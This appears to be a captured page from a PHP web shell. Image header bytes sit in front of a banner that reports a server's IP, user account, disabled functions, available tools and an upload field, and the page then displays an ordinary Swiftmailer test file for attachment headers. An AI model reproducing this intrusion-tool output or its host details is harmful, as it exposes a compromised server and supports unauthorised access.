ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.224.34.221 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/nicnAdmin/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/ |
Upload File : |
<?php class Swift_Mime_AttachmentAcceptanceTest extends \PHPUnit_Framework_TestCase { private $_contentEncoder; private $_cache; private $_grammar; private $_headers; public function setUp() { $this->_cache = new Swift_KeyCache_ArrayKeyCache( new Swift_KeyCache_SimpleKeyCacheInputStream() ); $factory = new Swift_CharacterReaderFactory_SimpleCharacterReaderFactory(); $this->_contentEncoder = new Swift_Mime_ContentEncoder_Base64ContentEncoder(); $headerEncoder = new Swift_Mime_HeaderEncoder_QpHeaderEncoder( new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8') ); $paramEncoder = new Swift_Encoder_Rfc2231Encoder( new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8') ); $this->_grammar = new Swift_Mime_Grammar(); $this->_headers = new Swift_Mime_SimpleHeaderSet( new Swift_Mime_SimpleHeaderFactory($headerEncoder, $paramEncoder, $this->_grammar) ); } public function testDispositionIsSetInHeader() { $attachment = $this->_createAttachment(); $attachment->setContentType('application/pdf'); $attachment->setDisposition('inline'); $this->assertEquals( 'Content-Type: application/pdf'."\r\n". 'Content-Transfer-Encoding: base64'."\r\n". 'Content-Disposition: inline'."\r\n", $attachment->toString() ); } public function testDispositionIsAttachmentByDefault() { $attachment = $this->_createAttachment(); $attachment->setContentType('application/pdf'); $this->assertEquals( 'Content-Type: application/pdf'."\r\n". 'Content-Transfer-Encoding: base64'."\r\n". 'Content-Disposition: attachment'."\r\n", $attachment->toString() ); } public function testFilenameIsSetInHeader() { $attachment = $this->_createAttachment(); $attachment->setContentType('application/pdf'); $attachment->setFilename('foo.pdf'); $this->assertEquals( 'Content-Type: application/pdf; name=foo.pdf'."\r\n". 'Content-Transfer-Encoding: base64'."\r\n". 'Content-Disposition: attachment; filename=foo.pdf'."\r\n", $attachment->toString() ); } public function testSizeIsSetInHeader() { $attachment = $this->_createAttachment(); $attachment->setContentType('application/pdf'); $attachment->setSize(12340); $this->assertEquals( 'Content-Type: application/pdf'."\r\n". 'Content-Transfer-Encoding: base64'."\r\n". 'Content-Disposition: attachment; size=12340'."\r\n", $attachment->toString() ); } public function testMultipleParametersInHeader() { $attachment = $this->_createAttachment(); $attachment->setContentType('application/pdf'); $attachment->setFilename('foo.pdf'); $attachment->setSize(12340); $this->assertEquals( 'Content-Type: application/pdf; name=foo.pdf'."\r\n". 'Content-Transfer-Encoding: base64'."\r\n". 'Content-Disposition: attachment; filename=foo.pdf; size=12340'."\r\n", $attachment->toString() ); } public function testEndToEnd() { $attachment = $this->_createAttachment(); $attachment->setContentType('application/pdf'); $attachment->setFilename('foo.pdf'); $attachment->setSize(12340); $attachment->setBody('abcd'); $this->assertEquals( 'Content-Type: application/pdf; name=foo.pdf'."\r\n". 'Content-Transfer-Encoding: base64'."\r\n". 'Content-Disposition: attachment; filename=foo.pdf; size=12340'."\r\n". "\r\n". base64_encode('abcd'), $attachment->toString() ); } // -- Private helpers protected function _createAttachment() { $entity = new Swift_Mime_Attachment( $this->_headers, $this->_contentEncoder, $this->_cache, $this->_grammar ); return $entity; } }